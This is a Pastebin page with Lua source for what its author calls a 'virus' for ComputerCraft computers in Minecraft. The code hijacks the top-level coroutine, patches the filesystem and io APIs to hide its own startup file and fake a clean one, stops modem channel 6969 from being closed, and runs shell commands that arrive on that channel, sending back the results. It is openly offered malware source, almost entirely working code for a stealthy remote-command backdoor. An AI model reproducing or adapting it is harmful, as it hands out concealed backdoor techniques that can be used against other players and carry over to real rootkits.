Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --PLEASE RUN THE FIRST PART ON THE COMPUTER (pastebin run QzCdJgbn)
- --
- --HOW TO USE:
- -- * Use another computer and wrap the modem using the peripheral API (RedNet does not work)
- -- * Send shell commands on channel 6969 and have fun!
- --
- --This is where the fun begins, part 2 of the "virus".
- --What it does / TODO:
- -- * Run TLCO to get to the top level
- -- * Modify fs API to not show myself and identify "/newStartup" as "/startup"
- -- * Act as a loop "parent" to CraftOS shell
- -- * Actually add another step to the normal loop, containing the code that listens for remote commands and hide these modem messages from every other coroutine
- -- * Run the harmless /startup (if there is one)
- --
- --Problems with this that I can't avoid:
- -- * The modem lights up which might look a bit obvious
- -- * You can't create a file called /newStartup and trying to interact with it just throws custom errors
- --
- --THINGS I WILL NOT ADD/FIX (but are pretty easy to do though):
- -- * Inserting a disk with a startup file prevents the virus from running (because on default settings, computers run the floppy disk startup file first)
- --Run TLCO
- local oldError = _G.printError
- local ev = {}
- function _G.printError()
- _G.printError = oldError
- local oldList = _G.fs.list
- local oldExists = _G.fs.exists
- local oldMove = _G.fs.move
- local oldCopy = _G.fs.copy
- local oldDelete = _G.fs.delete
- local oldOpen = _G.fs.open
- local oldFind = _G.fs.find
- local oldIOOpen = _G.io.open
- function _G.fs.list(path)
- if path == "" or path == "/" then
- local files = oldList(path)
- local removeIndex = -1
- local moveIndex = -1
- for each, file in ipairs(files) do
- if file == "startup" then
- --This is the "virus"
- removeIndex = each
- elseif file == "newStartup" then
- moveIndex = each
- end
- end
- if removeIndex > 0 then
- table.remove(files, removeIndex)
- end
- if moveIndex > 0 then files[moveIndex] = "startup" end
- return files
- else
- return oldList(path)
- end
- end
- function _G.fs.exists(path)
- if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
- if path == "/newStartup" then
- return false
- elseif path == "/startup" then
- return oldExists("/newStartup")
- else
- return oldExists(path)
- end
- end
- function _G.fs.move(op, np)
- if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
- if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
- if op == "/newStartup" or np == "/newStartup" then
- return
- elseif op == "/startup" then
- if np == "/startup" then np = "/newStartup" end
- return oldMove("/newStartup", np)
- elseif np == "/startup" then
- if op == "/startup" then op = "/newStartup" end
- return oldMove(op, "/newStartup")
- else
- return oldMove(op, np)
- end
- end
- function _G.fs.copy(op, np)
- if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
- if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
- if op == "/newStartup" or np == "/newStartup" then
- return
- elseif op == "/startup" then
- if np == "/startup" then np = "/newStartup" end
- return oldCopy("/newStartup", np)
- elseif np == "/startup" then
- if op == "/startup" then op = "/newStartup" end
- return oldCopy(op, "/newStartup")
- else
- return oldCopy(op, np)
- end
- end
- function _G.fs.delete(path)
- if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
- if path == "/startup" then
- return oldDelete("/newStartup")
- elseif path == "/newStartup" then
- return
- else
- return oldDelete(path)
- end
- end
- function _G.fs.open(path, mode)
- if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
- if path == "/startup" then
- return oldOpen("/newStartup", mode)
- elseif path == "/newStartup" then
- return nil, "internal error"
- else
- return oldOpen(path, mode)
- end
- end
- function _G.io.open(path, mode)
- if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
- if path == "/startup" then
- return oldIOOpen("/newStartup", mode)
- elseif path == "/newStartup" then
- return nil, "internal error"
- else
- return oldIOOpen(path, mode)
- end
- end
- local modem = peripheral.find("modem")
- --Disallow closing the channel
- if modem then
- local oldModemClose = _G.modem.close
- function _G.modem.close(port)
- if port == 6969 then
- return
- else
- return oldModemClose(port)
- end
- end
- end
- if modem then
- --If no modem is attached, still hide myself and just not listen for any messages
- modem.open(6969) --Very funny
- end
- local shellRoutine = coroutine.create(function()
- os.run({}, "rom/programs/advanced/multishell")
- os.run({}, "rom/programs/shutdown")
- end)
- local rednetRoutine = coroutine.create(function()
- rednet.run()
- end)
- while true do
- --just in case
- if modem and not modem.isOpen(6969) then modem.open(6969) end
- if modem and #ev > 0 and ev[1] == "modem_message" and ev[3] == 6969 then
- local success = shell.run(ev[5])
- modem.transmit(ev[4], 6969, tostring(success))
- ev = {}
- end
- pcall(coroutine.resume, shellRoutine, unpack(ev))
- pcall(coroutine.resume, rednetRoutine, unpack(ev))
- if coroutine.status(shellRoutine) == "dead" then
- os.reboot()
- end
- ev = {os.pullEventRaw()}
- end
- end
- --Aaaand go
- os.queueEvent("terminate")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement